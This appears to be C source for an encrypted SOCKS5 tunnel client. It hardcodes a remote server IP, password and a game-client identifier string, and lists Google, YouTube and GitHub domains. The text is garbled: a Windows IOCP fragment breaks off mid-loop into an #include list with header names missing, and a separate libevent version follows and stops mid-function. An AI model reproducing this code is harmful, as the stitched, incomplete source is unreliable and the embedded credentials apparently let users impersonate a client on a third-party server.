logv('E',"bind fail %d", WSAGetLastError()); return 1; } + if (listen(ls, SOMAXCONN)!=0){ logv('E',"listen fail %d", WSAGetLastError()); return 1; } + + logv('I',"ready."); + + for (;;){ + struct sockaddr_storage cs; int clen=sizeof(cs); + SOCKET s = accept(ls, (struct sockaddr*)&cs, &clen); + if (s==INVALID_SOCKET){ int e=WSAGetLastError(); if (e==WSAEINTR) break; continue; } + + char ipbuf[64]; uint16_t cport=0; + if (cs.ss_family==AF_INET){ + struct sockaddr_in* a=(struct sockaddr_in*)&cs; + inet_ntop(AF_INET, &a->sin_addr, ipbuf, sizeof(ipbuf)); cport=ntohs(a->sin_port); + }else{ + strcpy(ipbuf,"::1"); cport=0; + } + logv('I',"accepted socket=%llu from %s:%u", (unsigned long long)s, ipbuf, cport); + + // 建 bridge + bridge_t* b=(bridge_t*)calloc(1,sizeof(bridge_t)); + b->s_cli = s; b->s_srv=INVALID_SOCKET; b->cfg = cfg; b->recv_cap = (DWORD)cfg->recv_buf; b->st=ST_GREETING; + b->iocp = wa->iocp; + CreateIoCompletionPort((HANDLE)b->s_cli, wa->iocp, (ULONG_PTR)b, 0); + + // 贴收客户端 + post_recv(b, b->s_cli, OP_CLI_RECV); + } + return 0; +} + +//===================== main ===================== + +int main(int argc, char** argv){ + config_t cfg; parse_args(argc,argv,&cfg); + g_verbose = cfg.verbose; + srand((unsigned)time(NULL)); + g_main_tid = GetCurrentThreadId(); + + WSADATA w; if (WSAStartup(MAKEWORD(2,2), &w)!=0){ return 1; } + + HANDLE iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); + logv('I',"=== mx iocp socks5 ==="); + logv('I',"listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose); + logv('I',"udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout_sec, cfg.connect_timeout_sec); + + worker_arg_t wa = { .iocp=iocp, .cfg=&cfg }; + + // workers + const int N=3; HANDLE th[N]; + for (int i=0;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 + #ifndef _WIN32_WINNT + #define _WIN32_WINNT 0x0A00 /* Win10 */ + #endif + #define _WINSOCK_DEPRECATED_NO_WARNINGS + #include + #include + #pragma comment(lib, "Ws2_32.lib") + typedef int socklen_t; + #ifndef ssize_t + #define ssize_t SSIZE_T + #endif + #define CLOSESOCK(s) closesocket((s)) + #define SOCK_ERR() WSAGetLastError() + #define WOULD_BLOCK(e) ((e)==WSAEWOULDBLOCK) + /* 没有 /,选项值由 winsock 提供 */ +#else + #include + #include + #include + #include + #include + #include + #include + #define CLOSESOCK(s) close((s)) + #define SOCK_ERR() errno + #define WOULD_BLOCK(e) ((e)==EAGAIN || (e)==EWOULDBLOCK) +#endif + +/*----------------------------- 配置与常量 ------------------------------*/ + +#define RECV_BUF_DEFAULT (64 * 1024) +#define DNS_CACHE_SIZE 4096 +#define UDP_MAP_CAP 2048 +#define DOMAIN_MAX 255 +#define LOG_BUFSZ 1024 + +/* Python 中的 DOMAIN_LISTS */ +static const char *k_domain_lists[] = { + "google.com", "youtube.com", "github.com", + "githubassets.com", "ggpht.com", "googlevideo.com", "ytimg.com" +}; +static const size_t k_domain_lists_cnt = sizeof(k_domain_lists)/sizeof(k_domain_lists[0]); + +typedef enum { + LOG_DEBUG = 0, LOG_INFO = 1, LOG_WARN = 2, LOG_ERROR = 3 +} log_level_t; + +static log_level_t g_log_level = LOG_INFO; + +static void vlog_msg(log_level_t lv, const char *fmt, va_list ap) { + if (lv < g_log_level) return; + static const char *tag[] = {"DEBUG","INFO","WARN","ERROR"}; + char buf[LOG_BUFSZ]; + vsnprintf(buf, sizeof(buf), fmt, ap); + fprintf((lv >= LOG_WARN) ? stderr : stdout, "%s: %s\n", tag[lv], buf); +} + +static void log_msg(log_level_t lv, const char *fmt, ...) { + va_list ap; va_start(ap, fmt); vlog_msg(lv, fmt, ap); va_end(ap); +} +/*----------------------------- 实用函数 ------------------------------*/ + +static bool ends_with(const char *s, const char *suffix) { + size_t ls = strlen(s), lt = strlen(suffix); + if (lt > ls) return false; + return strcasecmp(s + (ls - lt), suffix) == 0; +} + +static bool host_in_domain_list(const char *host) { + for (size_t i = 0; i < k_domain_lists_cnt; ++i) { + if (ends_with(host, k_domain_lists[i])) return true; + } + return false; +} + +/* 把文本 host:port 解析成 sockaddr_storage(支持 IPv4/IPv6/域名解析) */ +static bool resolve_host_port(const char *host, uint16_t port, + struct sockaddr_storage *ss, socklen_t *sslen) { + struct addrinfo hints, *res = NULL; + char portstr[16]; + snprintf(portstr, sizeof(portstr), "%u", (unsigned)port); + memset(&hints, 0, sizeof(hints)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_family = AF_UNSPEC; + int rc = getaddrinfo(host, portstr, &hints, &res); + if (rc != 0 || !res) { + log_msg(LOG_ERROR, "getaddrinfo(%s:%s) failed: %s", host, portstr, + (rc!=0 ? gai_strerror(rc) : "no result")); + if (res) freeaddrinfo(res); + return false; + } + memcpy(ss, res->ai_addr, res->ai_addrlen); + *sslen = (socklen_t)res->ai_addrlen; + freeaddrinfo(res); + return true; +} + +/* 尝试将文本 host 解析为字面 IP(成功返回 AF_INET/AF_INET6;失败返回 0) */ +static int host_literal_ip(const char *host, uint8_t *packed16, size_t *packed_len) { + struct in_addr a4; struct in6_addr a6; + if (inet_pton(AF_INET, host, &a4) == 1) { + memcpy(packed16, &a4, 4); *packed_len = 4; return AF_INET; + } + if (inet_pton(AF_INET6, host, &a6) == 1) { + memcpy(packed16, &a6, 16); *packed_len = 16; return AF_INET6; + } + return 0; +} + +/*----------------------------- KDF 与 AES ------------------------------*/ + +static void kdf_evp_bytes_to_key(const uint8_t *pw, size_t pwlen, uint8_t out32[32]) { + /* out = MD5(pw) || MD5(MD5(pw) + pw) */ + uint8_t h1[16]; uint8_t h2[16]; + MD5_CTX ctx; + MD5_Init(&ctx); + MD5_Update(&ctx, pw, pwlen); + MD5_Final(h1, &ctx); + + MD5_Init(&ctx); + MD5_Update(&ctx, h1, 16); + MD5_Update(&ctx, pw, pwlen); + MD5_Final(h2, &ctx); + + memcpy(out32, h1, 16); + memcpy(out32 + 16, h2, 16); +} + +typedef struct { + EVP_CIPHER_CTX *ctx; +} aes_cfb_stream_t; + +static void aes_cfb_init(aes_cfb_stream_t *s, const uint8_t key[32], + const uint8_t iv[16], int enc) { + s->ctx = EVP_CIPHER_CTX_new(); + EVP_CipherInit_ex(s->ctx, EVP_aes_256_cfb128(), NULL, key, iv, enc); +} + +static void aes_cfb_free(aes_cfb_stream_t *s) { + if (s->ctx) EVP_CIPHER_CTX_free(s->ctx); +} + +static void aes_cfb_update(aes_cfb_stream_t *s, const uint8_t *in, + size_t inlen, uint8_t *out, int *outlen) { + int n = 0; + EVP_CipherUpdate(s->ctx, out, &n, in, (int)inlen); + *outlen = n; +} + +/* 单包 CFB:用于 UDP(每包新 IV) */ +static int aes_cfb_one_shot(const uint8_t key[32], const uint8_t iv[16], + int enc, const uint8_t *in, size_t inlen, + uint8_t *out) { + EVP_CIPHER_CTX *c = EVP_CIPHER_CTX_new(); + if (!c) return -1; + int n1 = 0, n2 = 0; + EVP_CipherInit_ex(c, EVP_aes_256_cfb128(), NULL, key, iv, enc); + if (!EVP_CipherUpdate(c, out, &n1, in, (int)inlen)) { EVP_CIPHER_CTX_free(c); return -1; } + if (!EVP_CipherFinal_ex(c, out + n1, &n2)) { EVP_CIPHER_CTX_free(c); return -1; } + EVP_CIPHER_CTX_free(c); + return n1 + n2; +} + +/*----------------------------- 地址编码 ------------------------------*/ + +/* out: TCP 自定义编码 [0x61/0x63/0x64 | host | port] */ +static bool encode_addr_tcp(uint8_t atyp, const char *host, uint16_t port, + struct evbuffer *out) { + uint8_t packed[16]; size_t plen = 0; + switch (atyp) { + case 0x01: { /* IPv4 -> 0x61 */ + if (host_literal_ip(host, packed, &plen) != AF_INET) return false; + evbuffer_add_printf(out, "%c", (char)0x61); + evbuffer_add(out, packed, 4); + break; + } + case 0x03: { /* DOMAIN -> 0x63 */ + size_t len = strlen(host); + if (len > 255) return false; + evbuffer_add_printf(out, "%c", (char)0x63); + evbuffer_add_printf(out, "%c", (char)len); + evbuffer_add(out, host, len); + break; + } + case 0x04: { /* IPv6 -> 0x64 */ + if (host_literal_ip(host, packed, &plen) != AF_INET6) return false; + evbuffer_add_printf(out, "%c", (char)0x64); + evbuffer_add(out, packed, 16); + break; + } + default: return false; + } + uint16_t nport = htons(port); + evbuffer_add(out, &nport, 2); + return true; +} + +/* out: UDP 标准编码 [0x01/0x03/0x04 | host | port] */ +static bool encode_addr_udp(uint8_t atyp, const char *host, uint16_t port, + struct evbuffer *out) { + uint8_t packed[16]; size_t plen = 0; + switch (atyp) { + case 0x01: { + if (host_literal_ip(host, packed, &plen) != AF_INET) return false; + uint8_t t = 0x01; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 4); + break; + } + case 0x03: { + size_t len = strlen(host); + if (len > 255) return false; + uint8_t t = 0x03; evbuffer_add(out, &t, 1); + uint8_t l = (uint8_t)len; + evbuffer_add(out, &l, 1); + evbuffer_add(out, host, len); + break; + } + case 0x04: { + if (host_literal_ip(host, packed, &plen) != AF_INET6) return false; + uint8_t t = 0x04; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 16); + break; + } + default: return false; + } + uint16_t nport = htons(port); + evbuffer_add(out, &nport, 2); + return true; +} + +/*----------------------------- DNS 打包/解析 ------------------------------*/ + +/* 构造最小 A 记录查询(RD=1)。返回长度与 ID */ +static int dns_build_query(const char *host, uint8_t *out, size_t cap, size_t *outlen, uint16_t *out_id) { + if (!host || !out || cap < 12) return -1; + uint16_t id; RAND_bytes((unsigned char*)&id, sizeof(id)); + *out_id = id; + + size_t off = 0; + // Header (12 bytes) + uint16_t flags = htons(0x0100); // RD=1 + uint16_t qd = htons(1), an = 0, ns = 0, ar = 0; + if (cap < 12) return -1; + *(uint16_t*)(out+off) = htons(id); off+=2; + *(uint16_t*)(out+off) = flags; off+=2; + *(uint16_t*)(out+off) = qd; off+=2; + *(uint16_t*)(out+off) = an; off+=2; + *(uint16_t*)(out+off) = ns; off+=2; + *(uint16_t*)(out+off) = ar; off+=2; + + // Question: QNAME + const char *p = host, *dot = NULL; + while (*p) { + dot = strchr(p, '.'); + size_t lab_len = dot ? (size_t)(dot - p) : strlen(p); + if (lab_len == 0 || lab_len > 63) return -1; + if (off + 1 + lab_len >= cap) return -1; + out[off++] = (uint8_t)lab_len; + memcpy(out + off, p, lab_len); off += lab_len; + if (!dot) break; + p = dot + 1; + } + if (off + 1 + 4 > cap) return -1; + out[off++] = 0; // end of name + // QTYPE=A(1), QCLASS=IN(1) + *(uint16_t*)(out+off) = htons(1); off+=2; + *(uint16_t*)(out+off) = htons(1); off+=2; + + *outlen = off; + return 0; +} + +/* 读取(压缩)域名:仅前进 offset(不拷贝名字) */ +static int dns_skip_name(const uint8_t *buf, size_t len, size_t *off) { + size_t i = *off; + while (i < len) { + uint8_t c = buf[i++]; + if ((c & 0xC0) == 0xC0) { // pointer + if (i >= len) return -1; + i++; break; + } else if (c == 0) { + break; + } else { + if (i + c > len) return -1; + i += c; + } + } + *off = i; + return 0; +} + +/* 解析 DNS 回复,提取第一条 A 记录;成功返回 0 并写入 ip_str */ +static int dns_parse_a(const uint8_t *buf, size_t len, char *ip_str, size_t ip_cap) { + if (len < 12) return -1; + uint16_t qd = ntohs(*(const uint16_t *)(buf + 4)); + uint16_t an = ntohs(*(const uint16_t *)(buf + 6)); + size_t off = 12; + for (uint16_t i = 0; i < qd; ++i) { + if (dns_skip_name(buf, len, &off) != 0) return -1; + if (off + 4 > len) return -1; + off += 4; // QTYPE+QCLASS + } + for (uint16_t i = 0; i < an; ++i) { + if (dns_skip_name(buf, len, &off) != 0) return -1; + if (off + 10 > len) return -1; + uint16_t type = ntohs(*(const uint16_t *)(buf + off)); off += 2; + uint16_t class_= ntohs(*(const uint16_t *)(buf + off)); off += 2; + off += 4; // TTL + uint16_t rdlen = ntohs(*(const uint16_t *)(buf + off)); off += 2; + if (off + rdlen > len) return -1; + if (type == 1 && class_ == 1 && rdlen == 4) { + struct in_addr a4; memcpy(&a4, buf + off, 4); + const char *ret = inet_ntop(AF_INET, &a4, ip_str, (socklen_t)ip_cap); + return ret ? 0 : -1; + } + off += rdlen; + } + return -1; +} + +/*----------------------------- 轻量 TTL 缓存 ------------------------------*/ + +/* DNS 缓存:host -> ip (A 记录),TTL=300s,固定表 */ +typedef struct { + bool used; + time_t expire; + char host[DOMAIN_MAX+1]; + char ip[INET_ADDRSTRLEN]; +} dns_cache_entry_t; + +typedef struct { + dns_cache_entry_t tab[DNS_CACHE_SIZE]; +} dns_cache_t; + +static void dns_cache_init(dns_cache_t *c) { memset(c, 0, sizeof(*c)); } + +static const char* dns_cache_get(dns_cache_t *c, const char *host) { + time_t now = time(NULL); + for (size_t i = 0; i < DNS_CACHE_SIZE; ++i) { + if (c->tab[i].used && strcmp(c->tab[i].host, host) == 0) { + if (c->tab[i].expire > now) return c->tab[i].ip; + c->tab[i].used = false; + } + } + return NULL; +} + +static void dns_cache_put(dns_cache_t *c, const char *host, const char *ip, int ttl_sec) { + time_t now = time(NULL); + size_t slot = DNS_CACHE_SIZE; time_t oldest = now; + for (size_t i = 0; i < DNS_CACHE_SIZE; ++i) { + if (!c->tab[i].used) { slot = i; break; } + if (c->tab[i].expire < oldest) { oldest = c->tab[i].expire; slot = i; } + } + if (slot >= DNS_CACHE_SIZE) slot = 0; + dns_cache_entry_t *e = &c->tab[slot]; + e->used = true; + e->expire = now + ttl_sec; + strncpy(e->host, host, sizeof(e->host)-1); e->host[sizeof(e->host)-1] = 0; + strncpy(e->ip, ip, sizeof(e->ip)-1); e->ip[sizeof(e->ip)-1] = 0; +} + +/*----------------------------- 配置结构 ------------------------------*/ + +typedef struct { + char remote_host[256]; + int remote_port; + char password[256]; + char mx_head[256]; + char listen_host[64]; + int listen_port; + int recv_buf; + int connect_timeout; // seconds + int udp_timeout; // seconds +} config_t; + +static void config_default(config_t *cfg) { + memset(cfg, 0, sizeof(*cfg)); + strcpy(cfg->remote_host, "121.14.152.149"); + cfg->remote_port = 10004; + strcpy(cfg->password, "dwz1GtF7"); + strcpy(cfg->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279"); + strcpy(cfg->listen_host, "0.0.0.0"); + cfg->listen_port = 10807; + cfg->recv_buf = RECV_BUF_DEFAULT; + cfg->connect_timeout = 10; + cfg->udp_timeout = 180; +} + +/*----------------------------- 前置声明 ------------------------------*/ +struct bridge_s; +typedef struct bridge_s bridge_t; + +/*----------------------------- UDP 关联 ------------------------------*/ + +/* 将 [addr_block] -> client_addr 的映射保存在固定表 */ +typedef struct { + bool used; + time_t ts; + /* 以二进制 addr_block 做 key(避免重复编码差异) */ + uint8_t key[300]; size_t key_len; + struct sockaddr_storage client_ss; socklen_t client_len; +} udp_map_entry_t; + +typedef struct { + bridge_t *owner; + int fd; + struct event *ev_read; + struct event *ev_timer; + struct sockaddr_storage remote_ss; socklen_t remote_len; + uint8_t key32[32]; + + udp_map_entry_t map[UDP_MAP_CAP]; + struct sockaddr_storage last_client; socklen_t last_client_len; bool has_last; + +} udp_assoc_t; + +/* 遍历查找/设置映射 */ +static int udp_map_find(udp_assoc_t *ua, const uint8_t *k, size_t klen) { + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].used && ua->map[i].key_len == klen && + memcmp(ua->map[i].key, k, klen) == 0) return i; + } + return -1; +} +static int udp_map_alloc_slot(udp_assoc_t *ua) { + for (int i = 0; i < UDP_MAP_CAP; ++i) if (!ua->map[i].used) return i; + /* 简单淘汰:最老 */ + time_t oldest = time(NULL); int idx = 0; + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].ts < oldest) { oldest = ua->map[i].ts; idx = i; } + } + return idx; +} + +static void udp_assoc_close(udp_assoc_t *ua) { + if (!ua) return; + if (ua->ev_read) event_free(ua->ev_read); + if (ua->ev_timer) event_free(ua->ev_timer); + if (ua->fd >= 0) CLOSESOCK(ua->fd); + free(ua); +} + +/*----------------------------- 桥接(CONNECT/UDP) ------------------------------*/ + +typedef enum { + ST_GREETING = 0, + ST_REQUEST = 1, + ST_CONNECTING_REMOTE = 2, + ST_STREAM = 3, + ST_UDP_ASSOC= 4, + ST_CLOSED = 5 +} bridge_state_t; + +typedef struct { + uint8_t cmd; /* 0x01 CONNECT, 0x03 UDP ASSOC */ + uint8_t atyp; /* 0x01/0x03/0x04 */ + char host[256]; + uint16_t port; +} socks5_req_t; + +struct bridge_s { + struct event_base *base; + config_t *cfg; + + /* client <-> us */ + struct bufferevent *cli_bev; + evutil_socket_t cli_fd; + + /* server <-> us */ + struct bufferevent *srv_bev; + evutil_socket_t srv_fd; + + /* 状态机 */ + bridge_state_t state; + + /* 密钥与流加解密 */ + uint8_t key32[32]; + aes_cfb_stream_t up_enc; bool up_ready; + aes_cfb_stream_t down_dec; bool down_ready; + uint8_t iv_server[16]; size_t iv_have; + + /* UDP 关联与 DNS 隧道 */ + udp_assoc_t *udp_assoc; + + /* DNS 缓存(按 Python 行为在 bridge 级别重用) */ + dns_cache_t dns_cache; + + /* 当前请求 */ + socks5_req_t req; +}; + +/*----------------------------- SOCKS5 回复 ------------------------------*/ + +static void socks5_send_reply(struct bufferevent *bev, uint8_t rep, + const char *bind_host, uint16_t bind_port) { + struct evbuffer *out = evbuffer_new(); + + uint8_t ver = 5, rsv = 0; + evbuffer_add(out, &ver, 1); + evbuffer_add(out, &rep, 1); + evbuffer_add(out, &rsv, 1); + + uint8_t packed[16]; size_t plen = 0; + int af = host_literal_ip(bind_host, packed, &plen); + if (af == AF_INET) { + uint8_t t = 0x01; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 4); + } else if (af == AF_INET6) { + uint8_t t = 0x04; evbuffer_add(out, &t, 1); + evbuffer_add(out, packed, 16); + } else { + size_t len = strlen(bind_host); + if (len > 255) len = 255; + uint8_t t = 0x03; uint8_t l = (uint8_t)len; + evbuffer_add(out, &t, 1); + evbuffer_add(out, &l, 1); + evbuffer_add(out, bind_host, len); + } + uint16_t p = htons(bind_port); + evbuffer_add(out, &p, 2); + + bufferevent_write_buffer(bev, out); + evbuffer_free(out); +} + +/*----------------------------- 解析 SOCKS5 请求 ------------------------------*/ + +static int parse_socks5_request(struct evbuffer *in, socks5_req_t *req, size_t *consumed) { + size_t len = evbuffer_get_length(in); + if (len < 4) return 0; + unsigned char *p = evbuffer_pullup(in, len); + if (!p) return 0; + + if (p[0] != 5) return -2; + req->cmd = p[1]; + req->atyp = p[3]; + size_t off = 4; + if (req->atyp == 0x01) { /* IPv4 */ + if (len < off + 4 + 2) return 0; + char ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, p + off, ip, sizeof(ip)); + strncpy(req->host, ip, sizeof(req->host)-1); req->host[255]=0; + off += 4; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x03) { + if (len < off + 1) return 0; + uint8_t l = p[off++]; if (len < off + l + 2) return 0; + size_t cplen = (l > 255) ? 255 : l; + memcpy(req->host, p + off, cplen); req->host[cplen]=0; + off += l; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x04) { + if (len < off + 16 + 2) return 0; + char ip6[INET6_ADDRSTRLEN]; + inet_ntop(AF_INET6, p + off, ip6, sizeof(ip6)); + strncpy(req->host, ip6, sizeof(req->host)-1); req->host[255]=0; + off += 16; + req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else { + return -3; + } + *consumed = off; + return 1; +} + +/*----------------------------- UDP 关联实现 ------------------------------*/ + +static void udp_assoc_on_timer(evutil_socket_t fd, short what, void *arg); +static void udp_assoc_on_read(evutil_socket_t fd, short what, void *arg); + +static udp_assoc_t* udp_assoc_create(bridge_t *b) { + udp_assoc_t *ua = (udp_assoc_t*)calloc(1, sizeof(*ua)); + ua->owner = b; + ua->fd = socket(AF_INET, SOCK_DGRAM, 0); + if (ua->fd < 0) { free(ua); return NULL; } + int on = 1; + setsockopt(ua->fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); +#ifdef SO_REUSEPORT + setsockopt(ua->fd, SOL_SOCKET, SO_REUSEPORT, (const char*)&on, sizeof(on)); +#endif + int sz = 1<<20; + setsockopt(ua->fd, SOL_SOCKET, SO_SNDBUF, (const char*)&sz, sizeof(sz)); + setsockopt(ua->fd, SOL_SOCKET, SO_RCVBUF, (const char*)&sz, sizeof(sz)); + /* 绑定到监听地址(端口 0 随机) */ + struct sockaddr_in sin; memset(&sin,0,sizeof(sin)); + sin.sin_family = AF_INET; sin.sin_port = htons(0); + inet_pton(AF_INET, b->cfg->listen_host, &sin.sin_addr); + if (bind(ua->fd, (struct sockaddr*)&sin, sizeof(sin)) != 0) { + log_msg(LOG_ERROR, "UDP bind failed: %s", strerror(errno)); + CLOSESOCK(ua->fd); free(ua); return NULL; + } + evutil_make_socket_nonblocking(ua->fd); + + /* 远端目标(与 TCP 相同的 remote_host:remote_port) */ + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, + &ua->remote_ss, &ua->remote_len)) { + CLOSESOCK(ua->fd); free(ua); return NULL; + } + memcpy(ua->key32, b->key32, 32); + + ua->ev_read = event_new(b->base, ua->fd, EV_READ|EV_PERSIST, udp_assoc_on_read, ua); + event_add(ua->ev_read, NULL); + + /* TTL 定期清理 */ + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + ua->ev_timer = event_new(b->base, -1, EV_PERSIST, udp_assoc_on_timer, ua); + event_add(ua->ev_timer, &tv); + return ua; +} + +static void udp_assoc_on_timer(evutil_socket_t fd, short what, void *arg) { + (void)fd; (void)what; + udp_assoc_t *ua = (udp_assoc_t*)arg; + time_t now = time(NULL); + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].used && now - ua->map[i].ts > ua->owner->cfg->udp_timeout) { + ua->map[i].used = false; + } + } +} + +/* 解析 SOCKS5 UDP 请求头,返回 与 payload 偏移 */ +static bool udp_parse_client_packet(const uint8_t *buf, size_t len, + size_t *addr_off, size_t *payload_off) { + if (len < 3) return false; + if (buf[0] != 0 || buf[1] != 0 || buf[2] != 0) return false; /* RSV,FRAG=0 */ + size_t off = 3; + if (len < off + 1) return false; + uint8_t atyp = buf[off++]; + if (atyp == 0x01) { /* IPv4 */ + if (len < off + 4 + 2) return false; + off += 4 + 2; + } else if (atyp == 0x03) { + if (len < off + 1) return false; + uint8_t l = buf[off++]; + if (len < off + l + 2) return false; + off += l + 2; + } else if (atyp == 0x04) { + if (len < off + 16 + 2) return false; + off += 16 + 2; + } else return false; + + *addr_off = 3; + *payload_off = off; + return true; +} + +/* 将 规范化编码回自己,便于作为 key 存储 */ +static bool udp_clone_addr_block(const uint8_t *buf, size_t addr_off, + size_t payload_off, uint8_t *out, size_t *outlen) { + size_t n = payload_off - addr_off; + if (n > 300) return false; + memcpy(out, buf + addr_off, n); + *outlen = n; + return true; +} + +static void udp_assoc_sendto(udp_assoc_t *ua, const void *data, size_t len) { + sendto(ua->fd, (const char*)data, (int)len, 0, + (struct sockaddr*)&ua->remote_ss, ua->remote_len); +} + +/* UDP 读回调:可能来自 local app 或 remote server */ +static void udp_assoc_on_read(evutil_socket_t fd, short what, void *arg) { + (void)what; + udp_assoc_t *ua = (udp_assoc_t*)arg; + uint8_t buf[65536]; + struct sockaddr_storage from; socklen_t fromlen = sizeof(from); + + for (;;) { + int n = (int)recvfrom(fd, (char*)buf, (int)sizeof(buf), 0, + (struct sockaddr*)&from, &fromlen); + if (n < 0) { + int e = SOCK_ERR(); + if (WOULD_BLOCK(e)) return; + log_msg(LOG_WARN, "UDP recv error: %d", e); + return; + } + + /* 判断是否来自 remote */ + bool from_remote = false; + if (from.ss_family == ua->remote_ss.ss_family) { + if (from.ss_family == AF_INET) { + struct sockaddr_in *a=(struct sockaddr_in*)&from, *b=(struct sockaddr_in*)&ua->remote_ss; + from_remote = (a->sin_port==b->sin_port && a->sin_addr.s_addr==b->sin_addr.s_addr); + } else if (from.ss_family == AF_INET6) { + struct sockaddr_in6 *a=(struct sockaddr_in6*)&from, *b=(struct sockaddr_in6*)&ua->remote_ss; + from_remote = (a->sin6_port==b->sin6_port && memcmp(&a->sin6_addr,&b->sin6_addr,sizeof(a->sin6_addr))==0); + } + } + + if (from_remote) { + /* remote -> local : [IV][CFB(addr_block+payload)] */ + if (n < 16) continue; + const uint8_t *iv = buf; + const uint8_t *ct = buf + 16; size_t ctlen = (size_t)n - 16; + uint8_t plain[65536]; + int m = aes_cfb_one_shot(ua->key32, iv, 0, ct, ctlen, plain); + if (m <= 0) continue; + + /* 解析 addr_block 以便回送给正确的 client */ + size_t off = 0; if (m < 1) continue; + uint8_t atyp = plain[off++]; + if (atyp == 0x01) off += 4 + 2; + else if (atyp == 0x03) { if (off>= (size_t)m) continue; uint8_t l=plain[off++]; off += l + 2; } + else if (atyp == 0x04) off += 16 + 2; + else continue; + if ((size_t)m < off) continue; + size_t addrlen = off; size_t payload_len = (size_t)m - off; + + /* 尝试匹配映射表 */ + int idx = udp_map_find(ua, plain, addrlen); + struct sockaddr_storage dst; socklen_t dstlen = 0; + if (idx >= 0) { + dst = ua->map[idx].client_ss; dstlen = ua->map[idx].client_len; + } else if (ua->has_last) { + dst = ua->last_client; dstlen = ua->last_client_len; + } else { + continue; + } + + /* 组装 SOCKS5 UDP 响应:RSV|FRAG(0)|addr|payload */ + uint8_t out[65536]; + size_t outlen = 3 + addrlen + payload_len; + if (outlen > sizeof(out)) continue; + out[0] = 0; out[1] = 0; out[2] = 0; + memcpy(out + 3, plain, addrlen); + memcpy(out + 3 + addrlen, plain + addrlen, payload_len); + sendto(ua->fd, (const char*)out, (int)outlen, 0, + (struct sockaddr*)&dst, dstlen); + + } else { + /* local app -> remote : SOCKS5 UDP 请求 */ + size_t addr_off=0, payload_off=0; + if (!udp_parse_client_packet(buf, (size_t)n, &addr_off, &payload_off)) continue; + + /* 存映射:addr_block -> client */ + uint8_t keybuf[300]; size_t klen=0; + if (!udp_clone_addr_block(buf, addr_off, payload_off, keybuf, &klen)) continue; + int idx = udp_map_find(ua, keybuf, klen); + if (idx < 0) idx = udp_map_alloc_slot(ua); + ua->map[idx].used = true; ua->map[idx].ts = time(NULL); + memcpy(ua->map[idx].key, keybuf, klen); ua->map[idx].key_len = klen; + ua->map[idx].client_ss = from; ua->map[idx].client_len = fromlen; + ua->last_client = from; ua->last_client_len = fromlen; ua->has_last = true; + + /* 加密并发往 remote:IV + CFB(addr_block + payload) */ + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + size_t plain_len = (size_t)n - 3; /* 去掉 RSV|FRAG */ + const uint8_t *plain = buf + 3; + uint8_t ct[65536]; + int m = aes_cfb_one_shot(ua->key32, iv, 1, plain, plain_len, ct); + if (m <= 0) continue; + + uint8_t out[65536]; + if ((size_t)m + 16 > sizeof(out)) continue; + memcpy(out, iv, 16); + memcpy(out + 16, ct, m); + udp_assoc_sendto(ua, out, (size_t)m + 16); + } + } +} + +/*----------------------------- Bridge 读写/事件 ------------------------------*/ + +static void bridge_free(bridge_t *b) { + if (!b) return; + if (b->cli_bev) bufferevent_free(b->cli_bev); + if (b->srv_bev) bufferevent_free(b->srv_bev); + if (b->udp_assoc) udp_assoc_close(b->udp_assoc); + if (b->up_ready) aes_cfb_free(&b->up_enc); + if (b->down_ready)aes_cfb_free(&b->down_dec); + free(b); +} + +/* 读取 client 的 GREETING 并应答无认证 */ +static int handle_socks5_greeting(struct bufferevent *bev) { + struct evbuffer *in = bufferevent_get_input(bev); + size_t len = evbuffer_get_length(in); + if (len < 2) return 0; + unsigned char hdr[2]; + evbuffer_copyout(in, hdr, 2); + if (hdr[0] != 5) return -2; + size_t need = 2 + hdr[1]; + if (len < need) return 0; + evbuffer_drain(in, need); + uint8_t resp[2] = {0x05, 0x00}; /* NO AUTH */ + bufferevent_write(bev, resp, 2); + return 1; +} + +static void on_client_read(struct bufferevent *bev, void *ctx); +static void on_server_read(struct bufferevent *bev, void *ctx); +static void on_client_event(struct bufferevent *bev, short events, void *ctx); +static void on_server_event(struct bufferevent *bev, short events, void *ctx); + +static void bridge_start_stream(bridge_t *b) { + b->state = ST_STREAM; + bufferevent_setcb(b->cli_bev, on_client_read, NULL, on_client_event, b); + bufferevent_setcb(b->srv_bev, on_server_read, NULL, on_server_event, b); + bufferevent_enable(b->cli_bev, EV_READ|EV_WRITE); + bufferevent_enable(b->srv_bev, EV_READ|EV_WRITE); +} + +/* 远端 TCP 连接完成后,发送首个包:[client_iv][CFB(addr + mx)] */ +static void after_remote_connected(bridge_t *b) { + struct evbuffer *addr = evbuffer_new(); + if (!encode_addr_tcp(b->req.atyp, b->req.host, b->req.port, addr)) { + log_msg(LOG_ERROR, "encode_addr_tcp failed"); + socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); /* Host unreachable */ + evbuffer_free(addr); bridge_free(b); return; + } + /* mx head: 1byte len + bytes */ + size_t mx_len = strlen(b->cfg->mx_head); + if (mx_len > 255) { evbuffer_free(addr); bridge_free(b); return; } + uint8_t ml = (uint8_t)mx_len; + evbuffer_add(addr, &ml, 1); + evbuffer_add(addr, b->cfg->mx_head, mx_len); + + size_t plain_len = evbuffer_get_length(addr); + uint8_t *plain = (uint8_t*)malloc(plain_len); + evbuffer_copyout(addr, plain, plain_len); + + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + 